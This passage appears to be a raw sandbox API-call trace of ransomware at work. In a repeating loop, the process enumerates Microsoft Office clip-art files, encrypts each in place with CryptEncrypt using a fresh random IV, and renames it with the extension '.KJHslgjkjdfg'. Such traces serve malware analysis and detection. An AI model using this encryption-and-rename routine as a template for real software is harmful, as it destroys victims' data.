pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b30) returned 1 [0191.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.618] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3b30, lpOverlapped=0x0) returned 1 [0191.619] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.619] SetEndOfFile (hFile=0x130) returned 1 [0191.622] GetProcessHeap () returned 0x990000 [0191.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.622] GetProcessHeap () returned 0x990000 [0191.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.kjhslgjkjdfg")) returned 1 [0191.623] CloseHandle (hObject=0x130) returned 1 [0191.623] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0191.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.624] GetProcessHeap () returned 0x990000 [0191.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.624] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.624] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0191.627] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.627] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.627] GetProcessHeap () returned 0x990000 [0191.627] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.627] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.627] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.627] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.627] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.627] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.627] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.627] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.628] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.628] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bf2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bf2, lpOverlapped=0x0) returned 1 [0191.629] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c00) returned 1 [0191.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.629] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c00, lpOverlapped=0x0) returned 1 [0191.629] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.629] SetEndOfFile (hFile=0x130) returned 1 [0191.632] GetProcessHeap () returned 0x990000 [0191.632] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.632] GetProcessHeap () returned 0x990000 [0191.632] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.kjhslgjkjdfg")) returned 1 [0191.634] CloseHandle (hObject=0x130) returned 1 [0191.634] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0191.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.635] GetProcessHeap () returned 0x990000 [0191.635] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.635] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.635] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.638] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.638] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.638] GetProcessHeap () returned 0x990000 [0191.638] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.638] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.638] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.638] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.638] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.638] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.638] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.638] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.638] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.638] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.639] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4cc8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4cc8, lpOverlapped=0x0) returned 1 [0191.640] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4cd0) returned 1 [0191.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.640] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4cd0, lpOverlapped=0x0) returned 1 [0191.640] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.640] SetEndOfFile (hFile=0x130) returned 1 [0191.643] GetProcessHeap () returned 0x990000 [0191.643] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.643] GetProcessHeap () returned 0x990000 [0191.643] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.kjhslgjkjdfg")) returned 1 [0191.645] CloseHandle (hObject=0x130) returned 1 [0191.645] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0191.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.646] GetProcessHeap () returned 0x990000 [0191.646] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.646] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.646] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0191.649] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.649] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.649] GetProcessHeap () returned 0x990000 [0191.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.649] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.649] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.649] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.649] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.649] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.649] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.649] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.650] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.650] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.650] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5754, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5754, lpOverlapped=0x0) returned 1 [0191.651] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5760, dwBufLen=0x5760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5760) returned 1 [0191.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.651] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5760, lpOverlapped=0x0) returned 1 [0191.651] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.651] SetEndOfFile (hFile=0x130) returned 1 [0191.654] GetProcessHeap () returned 0x990000 [0191.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.654] GetProcessHeap () returned 0x990000 [0191.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.kjhslgjkjdfg")) returned 1 [0191.656] CloseHandle (hObject=0x130) returned 1 [0191.656] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0191.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.657] GetProcessHeap () returned 0x990000 [0191.657] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.657] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.657] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0191.660] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.660] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.660] GetProcessHeap () returned 0x990000 [0191.660] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.660] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.660] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.660] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.660] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.660] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.660] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.661] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.661] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.661] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.661] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x55ba, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x55ba, lpOverlapped=0x0) returned 1 [0191.662] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x55c0, dwBufLen=0x55c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x55c0) returned 1 [0191.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.662] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x55c0, lpOverlapped=0x0) returned 1 [0191.662] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.663] SetEndOfFile (hFile=0x130) returned 1 [0191.666] GetProcessHeap () returned 0x990000 [0191.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.666] GetProcessHeap () returned 0x990000 [0191.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.kjhslgjkjdfg")) returned 1 [0191.668] CloseHandle (hObject=0x130) returned 1 [0191.668] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: 